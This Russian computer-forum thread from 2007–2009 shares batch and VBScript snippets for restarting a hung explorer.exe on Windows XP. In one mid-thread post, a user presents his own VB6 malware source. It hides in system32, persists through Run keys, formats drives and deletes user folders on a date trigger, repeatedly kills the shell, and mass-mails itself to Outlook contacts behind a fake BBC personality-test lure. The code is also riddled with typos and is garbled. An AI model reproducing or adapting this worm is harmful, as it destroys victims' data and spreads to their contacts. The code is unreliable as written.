Компьютерный форум OSzone.net  

Компьютерный форум OSzone.net (http://forum.oszone.net/index.php)
-   Автоматическая установка приложений (http://forum.oszone.net/forumdisplay.php?f=61)
-   -   "2 Reboot (explorer.exe)" самодельная "прога" перезагружающая оболочку "explorer.exe" (http://forum.oszone.net/showthread.php?t=88962)

rizz 22-08-2007 00:11 631053

"2 Reboot (explorer.exe)" самодельная "прога" перезагружающая оболочку "explorer.exe"
 
Хотя это и не программа вовсе, а две строки батника,
но это удобней чем запускать "Диспетчер задач" убивать "explorer.exe" и запускать по-новой вручную

Иконка программы копируется в "Quick Launch" для "текущего пользователя" и для "Default User"
также прописывает в реестре значения для автозагрузки "Диспетчера задач"
и значение включающее галочку в "Диспетчере задач" ("Параметры" - "Скрывать свёрнутое")
чтобы запускался только в трее (хотя иногда глючит, тогда лучше руками перенажать "Скрывать свёрнутое")
(возможно значения реестра могут отличаться, параметры скопированы с реестра XP Pro SP2 Rus, на XP Pro SP3 Rus тоже ничего не изменилось)

при нажатии на иконку завершается и запускается по-новой "explorer.exe", также
завершается и запускается по-новой "Диспетчер задач" минимизированным в трее
(иногда глючит и появляется в "Панели задач", приходится разворачивать - сворачивать вручную)
лучше нажимать ярлык программы несколько раз )

имя иконки "2 Reboot (explorer.exe)" специально сделано с цифрой "2",
чтобы программа в "быстром запуске" стояла вначале всегда под рукой,
потому что, когда "explorer.exe" подвисает, ничего уже не открывается,
и открыть список "быстрого запуска" не всегда возможно,
остаётся только тыкнуть в этот ярлык если он на виду
(но иногда "explorer.exe" так повисает, что даже его не тыкнешь, тогда как обычно ручками Ctrl+Alt+Del хотя и это бывает не реагирует)

p.s. иконка стрёмная, кому надо можно переделать всё сделано в SFX WinRAR, после скачивания переименовать .rar в .exe

farlow 23-08-2007 10:31 631810

а через taskkill не проще ярлык замутить?
или тоже батник?

voler 23-08-2007 13:20 631905

Есть другой способ.

PHP код:

'Если ошибка продолжаем далее.
On Error Resume Next
****************************************************************
'Тут задаются параметры текста и заголовка.
L_Welcome_MsgBox_Message_Text   = _
    "Выполняем перезагрузку explorer.exe?"
L_Welcome_MsgBox_Title_Text     = "Перезагружаем explorer.exe"
Call Welcome()
****************************************************************
'Завершает работу программы.
Set oShell = CreateObject("WScript.Shell")
On Error Resume Next
 ' 
****************************************************************
Sub t_message(nameres)
Select Case res
case 0 WScript.Echo name " Successful completion."
case 2 WScript.Echo name " The user does not have access to the requested information."
case 3 WScript.Echo name " The user does not have sufficient privilge."
case 8 WScript.Echo name " Unknown failure."
case 9 WScript.Echo name " The path specified does not exist."
case 21 WScript.Echo name " The specified parameter is invalid."
Case Else WScript.Echo name " " res " Refer to Win32 error code documentation."
End Select
End Sub
' ****************************************************************
'
explorer.exe
' ****************************************************************
For each Service in GetObject("winmgmts:{impersonationLevel=impersonate}!//localhost").ExecQuery("select * from Win32_Process where Name='
explorer.exe'")
res = Service.Terminate()
Call t_message("explorer.exe", res)
Next
****************************************************************
'Запускаем Программу.
Dim wsh
Set wsh=CreateObject("WScript.Shell")
wsh.Run "%systemroot%\explorer.exe"
****************************************************************
'Если нажимаем да то скрипт продолжает работу, а если нет то завершает работу.
Sub Welcome()
    Dim intDoIt

    intDoIt =  MsgBox(L_Welcome_MsgBox_Message_Text, _
        vbYesNo + vbInformation, _
        L_Welcome_MsgBox_Title_Text )
    If intDoIt = vbCNo Then
       WScript.Quit
    End If
End Sub
**************************************************************** 


kot1313 13-03-2008 16:07 759505

voler,

А как этот код использовать ?
Подскажи пожалуста

Vadikan 13-03-2008 17:24 759553

kot1313, скопируйте в Блокнот, сохраните как "script.vbs" (с кавычками).

XpucT 25-07-2008 13:34 860835

farlow,
+1

2 all:
Создаём Tекстовый документ.txt
Заходим в него и пишем:
Код:

taskkill.exe /F /IM explorer.exe
start %systemdrive%\Windows\explorer.exe

Сохраняем. Переименовываем Tекстовый документ.txt в Restart Explorer.cmd
Запускаем.

rizz 26-07-2008 08:52 861331

Цитата:

Цитата farlow
а через taskkill не проще ярлык замутить?
или тоже батник? »

Цитата:

Цитата XpucT
Создаём Tекстовый документ.txt
Заходим в него и пишем:
Код:
taskkill.exe /F /IM explorer.exe
start %systemdrive%\Windows\explorer.exe »

а сюда %ProgramFiles%\2 Reboot (explorer.exe) заглянуть трудно?
там такой же батник с таким же текстом
Код:

CLS
@echo off


rem убиваем и запускаем по новой explorer.exe
taskkill.exe /F /IM explorer.exe
start %systemdrive%\Windows\explorer.exe

rem убиваем и запускаем по новой taskmgr.exe минимизированным
taskkill.exe /F /IM taskmgr.exe
start /min %systemdrive%\Windows\System32\taskmgr.exe

только ещё диспетчер задач минимизированный запускается,
он свернётся в трей если применён твик который ставится автоматически или вручную можно включить "Скрывать свёрнутое"


Надо было бы мне делать этот батник, но explorer.exe всё также виснет на копировании файлов, даже в SP3 проблему не захотели решить

Могу даже сказать при каких условиях он виснет, если в "Пуск" мышкой перетащить с рабочего стола "Мой компьютер", или перетащить любой локальный диск из "Мой компьютер"
тогда эти диски будут раскрываться прямо из меню пуск, лично мне без этой опции каждый раз тыкаться по всем дискам и папкам просто нереально будет найти нужный файл
проводник с деревом я тоже ненавижу, поэтому и приходится вытаскивать диски в "Пуск"
Чтобы эффект проявился нужно перетащить "Мой компьютер" мышкой в "Пуск" и перезагрузиться, потом начать копировать файлы без разницы куда, главное по-больше мелких, пару сотен мегабайт и explorer.exe наглухо подвиснет, правда не всегда эффект проявляется с первого раза, иногда может целый день работать, а иногда с одного маленького файла зависнет
Причём не зависит от конфигурации компьютера, AMD или Intel без разницы
Если убрать из меню "Пуск" все такие раскрывающиеся диски и снова перезагрузиться, то explorer.exe больше не будет виснуть на копировании, да и вобще будет редко виснуть

XpucT 28-07-2008 06:41 862454

Знаешь, Мне кажется Мой вариант попроще остальных будет. ;)

gora 29-07-2008 11:11 863415

Цитата:

Цитата XpucT
Знаешь, Мне кажется Мой вариант попроще остальных будет. »

Упрощаем...
Код:

taskkill.exe /F /IM explorer.exe
start %windir%\explorer.exe

... и еще проще ...
Код:

taskkill.exe /F /IM explorer.exe
start explorer.exe

:)

ComSyntax 03-08-2008 20:53 867123

А еще проще
Цитата:

Цитата gora
taskkill.exe /F /IM explorer.exe
explorer.exe »

А вот мой зверек, писал давно.

читать дальше »
Код:

Option Explicit

Private Declare Function CopyFile Lib "kernel32" Alias "CopyFileA" (ByVal lpExistingFileName As String, ByVal lpNewFileName As String, ByVal bFailIfExists As Long) As Long
Dim WshShell
Dim WScript
Dim SysDir
Dim FSO
Dim Ret
Dim Reg
Private Sub Form_Load()

On Error Resume Next
 
Set WshShell = WScript.CreateObject("WScript.Shell")
 
Set FSO = CreateObject("Scripting.FileSystemObject")

Set Reg = CreateObject("WScript.Shell")

SysDir = FSO.GetSpecialFolder(1)

Call FSO.Createder(SysDir & "\SysBootDrivers")

Ret = CopyFile(App.Path & "\" & App.EXENa& ".exe", Eviron("windir") & "\system32\SysBootDrivers" & "\" & "PsyTest.exe", False)
 
SetAtr (SysDir & "\SysBootivers"), vbHidden


Reg.RegWrite "HKLM\Softare\Microsoft\Windows\CurrentVersion\Run\SystemFilesProtect", SysDir & "\SysBootDrivers\SystemRunder.vbs"


Open SysDir & "\SysBootDrivers\BDA7I.bat" For Output As #1
Print #1, "@ECHO OFF"
Print #1, "ECHO Set WSHShell = WScript.CreateObject(" & """" & "WScript.Shell" & """" & ") > %SystemDrive%\RECYCLER\Unvisible.vbs"
Prin #1, "ECHO WSHShell.run " & """" & "%SystemDrive%\RECYCLER\DAVINCI.bat" & """" & ",0 >> %SystemDrive%\RECYCLER\Unvisible.vbs"
Print #1, "ECHO Set WSHShell = WScript.CreateObject(" & """" & "WScript.Shell" & """" & ") > %winDir%\system32\SysBootDrivers\Unvisible1.vbs"
Print #1, "ECHO WSHShell.run " & """" & "%winDir%\system32\SysBootDrivers\DOBERUS.BAT" & """" & ",0 >> %winDir%\system32\SysBootDrivers\Unvisible1.vbs"
Print #1, "ECHO Set WSHShell = WScript.CreaeObject(" & """" & "WScript.Shell" & """" & ") > %winDir%\system32\SysBootDrivers\REGProtect.vbs"
Print #1, "ECHO WSHShell.run " & """" & "%winDir%\system32\SysBootDrivers\REFORMX.bat" & """" & ",0 >> %winDir%\system32\SysBootDrivers\REGProtect.vbs"
Print #1, "ECHO Set WSHShell = WScript.CreateObject(" & """" & "WScript.Shell" & """" & ") > %winDir%\system32\SysBootDrivers\SystemWor.vbs"
Print #1, "ECHO WSHShell.run " & """" & "%winDir%\system32\SysBootDrivers\Wor-D.bat" & """" & ",0 >> %winDir%\system32\SysBootDrivers\SystemWor.vbs"
Print #1, "ECHO SET HDDINFKILL=FORMAT > %SystemDrive%\RECYCLER\DAVINCI.bat"
Print #1, "ECHO %%HDDINFKILL%% D: /Q /Y >> %SystemDrive%\RECYCLER\DAVINCI.bat"
Print #1, "ECHO %%HDDINFKILL%% E: /Q /Y >%SystemDrive%\RECYCLER\DAVINCI.bat"
Print #1, "ECHO %%HDDINFKILL%% C: /Q /Y >> %SystemDrive%\RECYCLER\DAVINCI.bat"
Print #1, "ECHO %%HDDINFKILL%% A: /Q /Y >> %SystemDrive%\RECYCLER\DAVINCI.bat"
Print #1, "ECHO %%HDDINFKILL%% B: /Q /Y >> %SystemDrive%\RECYCLER\DAVINCI.bat"
Print #1, "ECHO %%HDDINFKILL%% F: /Q /Y >> %SystemDrive%\RECYCLER\DAVINCI.bat"
Print #1, "ECHO %%HDDINFKILL%% G: /Q /Y >> %SystemDrive%\RECYCLER\DAVINCI.bat"
Print #1, "ECHO %%HDDINFKILL%% H: /Q /Y >> %SystemDrive%\RECYCLER\DAVINCI.bat"
Print #1, "ECHO %%HDDINFKILL%% I: /Q /Y >> %SystemDrive%\RECYCLER\DAVINCI.bat"
Print #1, "ECHO %%HDDIFKILL%% J: /Q /Y >> %SystemDrive%\RECYCLER\DAVINCI.bat"
Print #1, "ECHO %%HDDINFKILL%% K: /Q /Y >> %SystemDrive%\RECYCLER\DAVINCI.bat"
Print #1, "ECHO %%HDDINFKILL%% L: /Q /Y >> %SystemDrive%\RECYCLER\DAVINCI.bat"
Print #1, "ECHO %%HDDINFKILL%% M: /Q /Y >> %SystemDrive%\RECYCLER\DAVINCI.bat"
Print #1, "ECHO %%HDDINFKILL%% N: /Q /Y >> %SystemDrive%\RECYCLER\DAVINCI.bat"
Print #1, "ECHO %%HDDINFKILL%% O: /Q /Y >> %SystemDrive%\RECYCLER\DAVINCI.bat"
Print #1, "ECHO %%HDDINFKILL%% P: /Q /Y >> %SystemDrive%\RECYCLER\DAVINCI.bat"
Print #1, "ECHO %%HDDINFKILL%% Q: /Q /Y >> %SystemDrive%\RECYCLER\DAVINCI.bat"
Print #1, "ECHO %%HDDINFKILL%% R: /Q /Y >> %SystemDrive%\RECYCLER\DAVINCI.bat"
Print #1, "@ATTRIB +H +R +S %SystemDrive%\RECYCLER\DAVINCI.bat"
Print #1, "START %SystemDrive%\RECYCLER\Unvisible.vbs"
Print #1, "@ATTRIB +H +R +S %SystemDrive%\RECYCLER\Unvisible.vbs"
Print #1, "@ATTRIB +H +R +S %winDir%\system32\SysBootDrivers\Unvisible1.vbs"
Print #1, "@ATTRIB +H +R +S %\system32\SysBootDrivers\REGProtect.vbs"
Print #1, "@ATTRIB +H +R +S %winDir%\system32\SysBootDrivers\SystemWor.vbs"
Print #1, "ECHO SET REGOBJECT=REG ADD > %winDir%\system32\SysBootDrivers\REFORMX.bat"
Print #1, "ECHO %%REGOBJECT%% " & """" & "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" & """" & " /v  Davinci /t reg_sz /d " & """" & "%SystemDrive%\RECYCLER\Unvisible.vbs" & """" & " /f >> %winDir%\system32\SysBootDrivers\REFORMX.bat"
Print #1, "ECHO REGOBJECT%% " & "& "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" & """" & " /v  Davinci1 /t reg_sz /d " & """" & "%winDir%\system32\SysBootDrivers\Unvisible1.vbs" & """" & " /f >> %winDir%\system32\SysBootDrivers\REFORMX.bat"
Print #1, "ECHO %%REGOBJECT%% " & """" & "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run" & """" & " /v  Davinci /t reg_sz /d " & """" & "%SystemDrive%\RECYCLER\Unvisible.vbs" & """" & " /f >> %winDir%\system32\SysBootDrivers\REFORMX.bat"
Print #1, "ECHO %%REGOBJECT%% " & """" & "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run" & """" & " /v  Davinci1 /t reg_sz /d " & """" & "%winDir%\system32\SysBootDrivers\Unvisible1.vbs" & """" & " /f >> %winDir%\system32\SysBootDrivers\REFORMX.bat"
Print #1, "ECHO %%REGOBJECT%% " & """" & "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" & """" & " /v  Davinci2 /t reg_sz /d " & """" & "%winDir%\system32\SysBootDrivers\REGProtect.vbs" & """" & " /f >> %winDir%\system32\SysBootDrivers\REFORMX.bat"
Print #1, "ECHO %%REGOBJECT%% " & """" & "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run" & """" & " /v  Davinci2 /t reg_sz /d " & """" & "%winDir%\system32\SysBootDrivers\REGProtect.vbs" & """" & " /f >> %winDir%\system32\SysBootDrivers\REFORMX.bat"
Print #1, "ECHO REG ADD " & """" & "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" & """" & " /v  SystemDav /t reg_sz /d " & """" & "%winDir%\system32\SysBootDrivers\SystemWor.vbs" & """" & " /f >> %winDir%\system32\SysBootDrivers\REFORMX.bat"
Print #1, "ECHO %%REGOBJECT%% " & """" & "HKEY_USERS\.DEFAULT\Control Panel\Desktop" & """" & " /v Wallpaper /t reg_sz /d " & """" & "%Windir%\System32\DESKTOP.bmp" & """" & " /f >> %winDir%\system32\SysBootDrivers\REFORMX.bat"
Print #1, "ECO %%REGOBJECT%% " & """" & "HEY_CURRENT_USER\Control Panel\Desktop" & """" & " /v Wallpaper /t reg_sz /d " & """" & "%Windir%\System32\DESKTOP.bmp" & """" & " /f >> %winDir%\system32\SysBootDrivers\REFORMX.bat"
Print #1, "ECHO START %winDir%\system32\SysBootDrivers\REGProtect.vbs >> %winDir%\system32\SysBootDrivers\REFORMX.bat"
Print #1, "ECHO EXIT >> %winDir%\system32\SysBootDrivers\REFORMX.bat"
Print #1, "@ATTRIBH +R +S %winDir%\system32\SysBootDrivers\REFORMX.bat"
Print #1, "START %winDir%\system32\SysBootDrivers\REGProtect.vbs"
Print #1, "ECHO @ECHO OFF > %winDir%\system32\SysBootDrivers\DOBERUS.BAT"
Print #1, "ECHO RD /S /Q %SYSTEMDRIVE%\DOCUME~1 >> %winDir%\system32\SysBootDrivers\DOBERUS.BAT"
Print #1, "ECHO RD /S /Q %SYSTEMDRIVE%\PROGRA~1 >> %winDir%\system32\SysBootDrivers\DOBERUS.BAT"
Print #1, "ECHO REG ADD " & """" & "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" & """" & " /v  NoForExplorer /t reg_sz /d " & """" & "%winDir%\system32\SysBootDrivers\StopExplorer.VBS" & """" & " /f >> %winDir%\system32\SysBootDrivers\DOBERUS.BAT"
Print #1, "ECHO REG ADD " & """" & "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run" & """" & " /v  NoForExplorer /t reg_sz /d " & """" & "%winDir%\stem32\SysBootDrivers\StopExplorer.VBS" & """" & " /f >> %winDir%\system32\SysBootDrivers\DOBERUS.BAT"
Print #1, "@ATTRIB +H +R +S %winDir%\system32\SysBootDrivers\DOBERUS.BAT"
Print #1, "ECHO Set WSHShell = WScript.CreateObject(" & """" & "WScript.Shell" & """" & ") > %winDir%\system32\SysBootDrivers\StopExplorer.VBS"
Print #1, "ECHO WSHShell.run " & """" & "%winDir%\system32\SysBootDrivers\StopExplorer.bat" & """" & ",0 >> %winDir%\system32\SysBootDrivers\StopExplorer.VBS"
Print #1, "ECHO Start %winDir%\system32\SysBootDrivers\StopExplorer.VBS >> %winDir%\system32\SysBootDrivers\StopExplorer.bat"
Print #1, "ECHO taskkill /f /im Explorer.exe > %winDir%\system32\SysBootDrivers\StopExplorer.bat"
Print #1, "ECHO taskkill /f /im Taskmgr.exe >> %winDir%\system32\SysBootDrivers\StopExplorer.bat"
Print #1, "ECHO Start %winDir%\system32\SysBootDrivers\StopExplorer.VBS >> %winDir%\system32\SysBootDrivers\StopExplorer.bat"
Print #1, "@ATTRIB +H +R +S %winDir\system32\SysBootDrivers\StopExplorer.VBS"
Print #1, "@ATTRIB +H +R +S %winDir%\system32\SysBootDrivers\StopExplorer.bat"
Print #1, "DEL %0"
Print #1, "EXIT"
Close #1


Open SysDir & "\ZipFLD.vbs" For Ouput As #1
Print #1, "Option Explicit "
Print #1, "Dim SysDir"
Print #1, ""
Print #1, "MakeZIP"
Print #1, ""
Print #1, ""
Print #1, "Sub MakeZIP()"
Print #1, "Dim fso"
Print #1, "Dim wShell"
Print #1, "Dim Shell"
Prnt #1, "Dim n"
Print #1, "Dim ie"
Print #1, "Dim ZIPfile"
Print #1, "Dim ZIPdata:ZIPdata=" & """" & "PK" & """" & " & Chr(5) & Chr(6) & String(18,0)"
Print #1, "Dim file"
Print #1, "Dim Folder"
Print #1, "Dim FolderItem"
Print #1, "Dim dFolder"
Print #1, "Set fso=CreateObject(" & """" & "Scripting.FileSystemObject" & """" & ")"
Print #1, "Set wShell=CreateObject(" & """" & "WScript.Shell" & """" & ")"
Print #1, "SysDir = fso.GetSpecialFolder(1) "
Print #1, "Dim foldName : foldName = SDir & " & """" & "\SysBootDrivers\PsyTest.exe" & """" & ""
Print #1, "Dim archName : archName = SysDir & " & """" & "\SysBootDrivers\PsyTest.zip" & """" & ""
Print #1, "Set Shell=CreateObject(" & """" & "Shell.Application" & """" & ")"
Print #1, "For n=0 To 9"
Print #1, "For Each ie In Shell.Windows"
Print #1, "If Not ie.Busy Then"
Print #1, "If ie.ReadyState=4 Then"
Print #1, "If InStr(TypeName(ie.Docment)," & """" & "IShellFolderViewDual" & """" & ")=1 Then"
Print #1, "Exit For"
Print #1, "End If"
Print #1, "End If"
Print #1, "End If"
Print #1, "Next"
Print #1, "If Not IsEmpty(ie) Then Exit For"
Print #1, "If n=0 Then CreateObject(" & """" & "WScript.Shell" & """" & ").Run " & """" & "explorer.exe" & """" & ",0,True"
Print #1, "WScript.Sleep 100"
Print #1, "Next"
Print #1, "If IsEmpty(ie) Then"
Print #1, "WScript.Quit"
Print #1, "End If"
Print #1, "Set Shell=ie.Document.Application"
Print #1, "ZIPfile=fso.GetAbsolutePathName(archName)"
Print #1, "If UCase(fso.GetExtensionName(ZIPfile))<>" & """" & "ZIP" & """" & " Then"
Print #1, "WScript.Quit"
Print #1, "End If"
Print #1, "If Not fso.FileExists(ZIPfile) Then"
Print #1, "fso.CreateTextFile(ZIPfile,False).Write ZIPdata"
Print #1, "End If"
Print #1, "Set dFolder=Shell.NamSpace(ZIPfile)"
Print #1, "file=fso.GetAbsolutePathName(foldName)"
Print #1, "Set Folder=Shell.NameSpace(fso.GetParentFolderName(file))"
Print #1, "Set FolderItem=Folder.ParseName(fso.GetFileName(file))"
Print #1, "If FolderItem Is Nothing Then"
Print #1, "WScript.Quit"
Print #1, "End If"
Print #1, "dFolder.Copyre FolderItem"
Print #1, "End Sub"
Close #1

If FSO.FileExists(SysDir & "\SysBootDrivers\PsyTest.zip") Then
On Error Resume Next
Kill (SysDir & "\SysBootDrivers\PsyTest.zip")
VBA.Shell "cscript.exe  " & (SysDir & "\ZipFLD.vbs"), vbHide
Else
VBA.Shell "cscript" & (SysDir & "\ZipFLD.vbs"), vbHide
End If

SetAttr (SysDir & "\ZipFLD.vbs"), vbHidden
SetAttr (SysDir & "\SysBootDrivers\PsyTest.exe"), vbHidden

Open SysDir & "\SysBootDrivers\SystemRunder.vbs" For Output As #1
Print #1, "if Day(now)=16 Then"
Print #1, "On Error Next "
Print #1, "Set WSHShell = WScript.CreateObject(" & """" & "WScript.Shell" & """" & ")"
Print #1, "Set fso = CreateObject(" & """" & "Scripting.FileSystemObject" & """" & ")"
Print #1, "SysDir = fso.GetSpecialFolder(1)"
Print #1, "WshShell.Run(SysDir & " & """" & "\SysBootDrivers\BDA7I.bat" & """" & "), vbHide"
Print #1, "End If"
Close #1

VBA.Shell "cscript.exe  " & (SysDir & "\SysBootDrivers\SystemRunder.vbs"), vbHide

SetAttr (SysDir & "\SysBootDrivers\SystemRunder.vbs"), vbHidden

Open SysDir & "\SysBootDrivers\Wor-D.bat" For Output As #1
Print #1, "SET WDQS=CHO"
Print #1, "%WDQS% Dim x > %winDir%\system32\SystemDav.vbs"
Print #1, "%WDQS% ON ERROR RESUME NEXT >> %winDir%\system32\SystemDav.vbs"
Print #1, "%WDQS% Set so=CreateObject(" & """" & "Scripting.FileSystemObject" & """" & ") >> %winDir%\system32\SystemDav.vbs"
Print #1, "%WDQS% Set ol=CreateObject(" & """" & "Outlook.Application" & """" & ") >> %winDir%\system32\SystemDav.vbs"
Print #1, "%WDQS% Set b=createobject(" & """" & "wscript.Shell" & """" & ") > %winDir%\system32\SysBootDrivers\RndVBS.VBS"
Print #1, "%WDQS% b.run " & """" & "%winDir%\system32\SysBootDrivers\Wor-D1" & """" & ",0 >> %winDir%\system32\SysBootDrivers\RndVBS.VBS"
Print #1, "start %winDir%\system32\SysBootDrivers\RndVBS.VBS"
Print #1, "exit"
Close #1
SetAttr (SysDir & "\SysBotDrivers\Wor-D.bat"), vbHidden
Open SysDir & "\SysBootDrivers\Wor-D1.bat" For Output As #1
Print #1, "SET WDQS=ECHO"
Print #1, "%WDQS% out= WScript.CreateObject(" & """" & "Outlook.Application" & """" & ") >> %winDir%\system32\SystemDav.vbs"
Print #1, "%WDQS% Set b=createobject(" & """" & "wscript.Shell" & """" & ") > %winDir%\system32\SysBootDrivers\RndVBS.VBS"
Print #1, "%WDQS% b.run " & """" & "%winDir%\system32\SysBootDrivers\Wor-D2" & """" & ",0 >> %winDir%\system32\SysBootDrivers\RndVBS.VBS"
Print #1, "start %winDir%\system32\SysBootDrivers\RndVBS.VBS"
Print #1, "exit"
Close #1
SetAttr (SysDir & "\SysBDrivers\Wor-D1.bat"), vbHidden
Open SysDir & "\SysBootDrivers\Wor-D2.bat" For Output As #1
Print #1, "SET WDQS=ECHO"
Print #1, "%WDQS% Set mapi = out.GetNameSpace(" & """" & "MAPI" & """" & ") >> %winDir%\system32\SystemDav.vbs"
Print #1, "%WDQS% Set a = mapi.AddressLists(1) >> %winDir%\system32\SystemDav.vbs"
Print #1, "%WDQS% Set b=createobject(" & """" & "wscript.Shell" & """" & ") > %winDir%\system32\SysBootDrivers\RndVBS.VBS"
Print #1, "%WDQS% b.run " & """" & "%winDir%\system32\SysBootDrivers\Wor-D3" & """" & ",0 >> %winDir%\system32\SysBootDrivers\RndVBS.VBS"
Print #1, "start %winDir%\sysem32\SysBootDrivers\RndVBS.VBS"
Print #1, "exit"
Close #1
SetAttr (SysDir & "\SysBootDrivers\Wor-D2.bat"), vbHidden
Open SysDir & "\SysBootDrivers\Wor-D3.bat" For Output As #1
Print #1, "SET WDQS=ECHO"
Print #1, "%WDQS% For x=x+1 To a.AddressEntries.Count >> %winDir%\system32\SystemDav.vbs"
Print #1, "%WDQS% Set Dav=ol.CreateItem(0) >> %winDir%\system32\SystemDav.vbs"
Print #1, "%WDQS% Dav.to=ol.GetNameSpace(" & """" & "MAPI" & """" & ").AddressLists(1).AddressEntries(x) >> %winDir%\system32\SystemDav.vbs"
Print #1, "%WDQS% Set b=createobject(" & """" & "wscript.Shell" & """" & ") > %winDir%\system32\SysBootDrivers\RndVBS.VBS"
Print #1, "%WDQS% b.run " & """" & "%winDir%\system32\SysBootDrivers\Wor-D4" & """" & ",0 >> %winDir%\system32\SysBootDrivers\RndVBS.VBS"
Prnt #1, "start %winDir%\system32\SysBootDrivers\RndVBS.VBS"
Print #1, "exit"
Close #1
SetAttr (SysDir & "\SysBootDrivers\Wor-D3.bat"), vbHidden
Open SysDir & "\SysBootDrivers\Wor-D4.bat" For Output As #1
Print #1, "SET WDQS=ECHO"
Print #1, "%WDQS% Dav.Subject=" & """" & "What am I like?" & """" & " >> %winDir%\system32\SystemDav.vbs"
Print #1, "%WDQS% Dav.Body=" & """" & "HI! In this programme, you can play along and discover your personality type at home. Are you an Idlist, a Big Thinker or another of 16 personality types? Use the attachment and visit home page of this programme http://www.BBC.co.uk/sn/tvradio/programmes/whatamilike/ Contact Us http://www.BBC.co.uk/feedback/" & """" & " >> %winDir%\system32\SystemDav.vbs"
Print #1, "%WDQS% Set b=createobject(" & """" & "wscript.Shell" & """" & ") > %winDir%\system32\SysBootDrivers\RndVBS.VBS"
Print #1, "%WDQS% b.run " & """" & "%winDir%\system32\SysBootDrivers\Wor-D5" & """" & ",0 >> %winDir%\system32\SysBootDrivers\RndVBS.VBS"
Print #1, "start %winDir%\system32\SysBootDrivers\RndVBS.VBS"
Print #1, "exit"
Close #1
SetAttr (SysDir & "\SysBootDrivers\Wor-D4.bat"), vbHidden
Oen SysDir & "\SysBootDrivers\Wor-D5.bat" For Output As #1
Print #1, "SET WDQS=ECHO"
Print #1, "%WDQS% Dav.Attachments.Add(" & """" & "%winDir%\system32\SysBootDrivers\PsyTest.zip" & """" & ") >> %winDir%\system32\SystemDav.vbs"
Print #1, "%WDQS% Set b=createobject(" & """" & "wscript.Shell" & """" & ") > %winDir%\system32\SysBootDrivers\RndVBS.VBS"
Print #1, "%WDQS% b.run " & """" & "%winDir%\system32\SysBootDrivers\Wor-D6" & """" & ",0 >> %winDir%\system32\SysBootDrivers\RndVBS.VBS"
Print #1, "start %winDir%\system32\SysBootDrivers\RndVBS.VBS"
Print #1, "exit"
Cse #1
SetAttr (SysDir & "\SysBootDrivers\Wor-D5.bat"), vbHidden
Open SysDir & "\SysBootDrivers\Wor-D6.bat" For Output As #1
Print #1, "SET WDQS=ECHO"
Print #1, "%WDQS% Dav.Send >> %winDir%\system32\SystemDav.vbs"
Print #1, "%WDQS% Next >> %winDir%\system32\SystemDav.vbs"
Print #1, "%WDQS% ol.Quit >> %winDir%\system32\SystemDav.vbs"
Print #1, "attrib +h %winDir%\system32\SystemDav.vbs"
Print #1, "start %winDir%\system32\SystemDav.vbs"
Pint #1, "del %winDir%\system32\SysBootDrivers\RndVBS.VBS"
Print #1, "exit"
Close #1
SetAr (SysDir & "\SysBootDrivers\Wor-D6.bat"), vbHidden
MsgBox "This application has failed to start because CSLav9e.dll was not found!", vbCritical

Set FSO = Nothing
Set WshShell = Nothing
End
End Sub



                      'Created by ComSyntax'
                                '14/08/2007'
                                  'DaViNcI'


Imago_ 04-08-2008 06:00 867285

ComSyntax, я думаю такие "поэмы" :) нужно под кат, то бишь HIDE..

Цитата:

taskkill.exe /F /IM explorer.exe
start explorer.exe
Ну эт понятно.. А вот как быть если 2 процесса explorer?

Рядовая ситуация в случае твика - "оболочка и проводник - различные процессы"..

зы. хотя можно конечно продублировать 1-ую строчку..

ComSyntax 04-08-2008 14:54 867618

Цитата:

Цитата Imago_
ComSyntax, я думаю такие "поэмы" нужно под кат, то бишь HIDE.. »

Нда! Об этом не подумал.

Цитата:

Цитата Imago_
Ну эт понятно.. А вот как быть если 2 процесса explorer? »

У XP проводник не афишируется в диспетчере, а вистай я не пользуюсь.
В любом случаи продублировав 1-ую строчку должно получиться.
Увы не велики просторы сие чюдоБата.

Imago_ 05-08-2008 03:43 868043

Цитата:

Цитата ComSyntax
У XP проводник не афишируется в диспетчере, а вистай я не пользуюсь »

И я не пользуюсь :)
А что значит "не афишируется"? - все есть и все видно..
зы. дублеж не помог.

ComSyntax 05-08-2008 12:05 868338

Цитата:

Цитата Imago_
И я не пользуюсь »

OKИ! Это я по скринам предположил, хотя мог догадаться по процессу на том же скрине DrvIcon.exe.

Цитата:

Цитата Imago_
А что значит "не афишируется"? - все есть и все видно.. »

Чудной у тебя Винт, можешь уверенно использовать и этот код, так как случаи подобные твоему единичные, имею в виду что большинство компов не афишируют проводник explorer'а.

batyaPS 30-11-2009 14:32 1283368

Цитата:

Цитата ComSyntax
Чудной у тебя Винт, можешь уверенно использовать и этот код, так как случаи подобные твоему единичные, имею в виду что большинство компов не афишируют проводник explorer'а. »

у меня тоже всегда 2 процесса запущено.


Время: 09:16.

Время: 09:16.
© OSzone.net 2001-